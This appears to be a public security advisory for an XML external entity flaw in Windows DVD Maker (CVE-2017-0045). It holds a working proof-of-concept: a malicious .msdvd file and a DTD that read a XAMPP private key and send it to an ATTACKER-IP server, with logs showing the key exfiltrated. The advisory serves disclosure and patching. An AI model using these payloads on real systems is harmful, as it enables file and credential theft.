Windows DVD Maker 6.1.7 - XML External Entity Injection

[+] Credits: John Page AKA hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DVD-MAKER-XML-EXTERNAL-ENTITY-FILE-DISCLOSURE.txt

[+] ISR: ApparitionSec







Vendor:

=================

www.microsoft.com







Product:

=================

Windows DVD Maker 

v6.1.7



Windows DVD Maker is a feature you can use to make DVDs that you can watch on a computer or on a TV using a regular DVD player. 







Vulnerability Type:

=============================

XML External Entity Injection







CVE Reference:

==============

CVE-2017-0045 

MS17-020







Security issue:

================

Windows DVD Maker Project ".msdvd" files are prone to XML External Entity attacks allowing remote attackers to gain access

to files from a victims computer using a specially crafted malicious .msdvd file, resulting in remote information / file disclosures. 





POC URL:

=========

https://vimeo.com/208383182





References:

============

https://technet.microsoft.com/library/security/MS17-020

https://support.microsoft.com/en-us/help/3208223/ms17-020-security-update-for-windows-dvd-maker-march-14-2017



Applies to:



Windows Server 2008 R2 Service Pack 1

Windows Server 2008 R2 Datacenter

Windows Server 2008 R2 Enterprise

Windows Server 2008 R2 Standard

Windows Web Server 2008 R2

Windows Server 2008 R2 Foundation

Windows 7 Service Pack 1

Windows 7 Ultimate

Windows 7 Enterprise

Windows 7 Professional

Windows 7 Home Premium

Windows 7 Home Basic

Windows 7 Starter

Windows Server 2008 Service Pack 2

Windows Server 2008 Foundation

Windows Server 2008 Standard

Windows Server 2008 for Itanium-Based Systems

Windows Web Server 2008

Windows Server 2008 Enterprise

Windows Server 2008 Datacenter

Windows Vista Service Pack 2

Windows Vista Home Basic

Windows Vista Home Premium

Windows Vista Business

Windows Vista Ultimate

Windows Vista Enterprise

Windows Vista Starter







Exploit code(s):

===============

Steal XAMPP Web Servers private key "server.key".



1) python -m SimpleHTTPServer 8080 (listens on ATTACKER-IP, hosts payload.dtd)





2) "payload.dtd"



<?xml version="1.0" encoding="UTF-8"?>



<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">



%all;







3) "Evil.msdvd" 



<?xml version="1.0"?>

<!DOCTYPE NYHC [ 

<!ENTITY % file SYSTEM "C:\xampp\apache\conf\ssl.key\server.key">

<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">

%dtd;]>

<pwn>&send;</pwn>





RESULT:

XAMPP Web Server private key sent to attacker:



e.g.



C:\>python -m SimpleHTTPServer 8080

Serving HTTP on 0.0.0.0 port 8080 ...



127.0.0.1 - - [13/Mar/2017 23:53:36] "GET /payload.dtd HTTP/1.1" 200 -

127.0.0.1 - - [13/Mar/2017 23:53:36] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbedfmnUQI+KQnaBjlY8dQZpY1ZpjjFtzhpB5zMPWo3m4dbwelHx8buOt0CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E

ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmkcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh5YQYLKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY----- HTTP/1.1" 301 -

127.0.0.1 - - [13/Mar/2017 23:53:37] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbrdfmnUQI+KQnaBjlY8dQZpY1ZxjjFtzhpB5zMPmo4m4dbwelHx8buOt6CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E

ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmmcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh3YQYiKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY-----/ HTTP/1.1" 200 -









Disclosure Timeline:

=========================================

Vendor Notification: September 3, 2016

Vendor acknowledgement: November 17, 2016

March 14, 2017 : Vendor released MS17-020

March 15, 2017 : Public Disclosure







Network access:

=================

Remote







Severity:

===========

High







[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).



hyp3rlinx